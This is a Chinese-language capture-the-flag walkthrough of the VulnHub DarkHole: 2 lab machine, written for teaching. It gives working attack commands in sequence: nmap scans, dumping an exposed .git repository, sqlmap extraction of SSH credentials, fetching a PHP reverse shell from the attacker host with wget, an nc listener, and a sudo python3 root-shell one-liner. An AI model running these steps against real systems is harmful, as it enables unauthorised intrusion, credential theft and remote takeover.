靶机下载地址为:vulnhub-DARKHOLE: 2
靶机IP:192.168.245.140
测试机系统:kali、win10
测试机IP:192.168.245.139
目录
1.信息收集
1.1主机发现
nmap -sn 192.168.245.0/24
发现靶机IP:192.168.245.140
1.2扫描IP端口服务
Nmap 探测该IP的端口和服务
nmap -A -P 192.168.245.140
2.漏洞挖掘
1.进入网页
访问一下站点,页面存在登陆接口Login。
点击login,跳转至登陆页面
此时查看了下前端的JS文件 并未发现有价值的信息。
再访问之前的那个.git目录
提到.git,我们可以使用git泄露利用工具git-dumper。
git clone https://github.com/arthaud/git-dumper.git #下载脚本
cd git-dumper
./git_dumper.py http://192.168.245.140/.git 130 #执行脚本
执行完成后cd 130/,收集有用的信息
收集到的信息一:数据库账号密码
cd config
ls
cat config.php
收集到的信息二:commit logs存在,我们可以利用它查找主人曾修改过哪些地方
使用工具git
git log #查看日志
通过log可知主人曾修改过三次,我们都来用git diff试试,看看有没有咱们能用的信息。
git diff [commit] #git diff用法
git diff a4d900a8d85e8938d3601f3cef113ee293028e10 #这里有有用的信息
这里得到了登录的用户名=lush@admin.com和密码=321,就可以去登录了!
登录进来了,看到这个页面,我们可以使用sqlmap了!
在使用sqlmap前,先把id值改为2,使用Burpsuite抓包,存到文件名为bao的文件中。
现在可以使用sqlmap语句枚举数据库了。
mousepad bao
cat bao
sqlmap -r bao --tables #枚举数据库及表名
一路回车就可以看到数据库及表名
有用的就是这个ssh的表,下面我们继续枚举
sqlmap -r bao --columns -D "darkhole_2" -T "ssh" #枚举ssh库列名
是我们需要的表,现在我们需要dump他的数据!
sqlmap -r bao --dump -D "darkhole_2" -T "ssh" #显示表内数据
现在我们得到了ssh的用户名和密码
可以ssh jehad用户了!
ssh jehad@192.168.245.140 #ssh连接jehad用户
成功登录!
3.权限提升
由id命令可知,jehad并不是root用户
所以让我们看看各个目录下,能不能找到什么有用的~
最终在/opt目录下找到了有用的、可以调cmd的php页面~
未发现我们需要的东西,所以使用了命令history看看能从历史操作得到什么发现
在历史命令列表中我们得到了很有意思的东西,所以理出后续提权思路:该web布在9999端口,使用curl命令查看cmd执行回显,使用wget下载php版reverse shell,于攻击机监听,一切准备好后使9999连接攻击机,得到其他人的权限。
成功后,我们会变成losy
我们继续
首先,我们从网上检索php reverse shell,使用链接:https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php,下载后存到攻击机桌面并简单命名为1.php,修改反shell的ip和端口为攻击机的,如下:
然后在文件夹内打开终端,通过python3开启web服务
python3 -m http.server 8000 #端口随意,未被占用即可
使用其他机器,访问一下,看没有问题然后,我们使用jehad用户,进入/opt/web/目录下,将1.php下载下来
cd /opt/web/
wget 192.168.245.139:8090/1.php #下载文件
本机开始监听
nc -nvlp 5555 #攻击机监听
通过curl访问1.php执行脚本,使losy上线
到此,losy已上线
由于这是一个不完整的shell,很多事情我们不能做,所以我们需要使用语句升级成完整shell
/bin/bash -i
losy仍不是root,所以我们到它的history有什么值得利用的部分
history
我们找到了losy的密码以及提权命令!
接下来我们ssh到losy
4.获取root权限
losy是有sudo权限的
sudo -l 查看命令
可以看到python3有root权限,我们直接 sudo 可以执行 python3 切换到 root shell
利用:
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
最终提权成功,查找信息,获取flag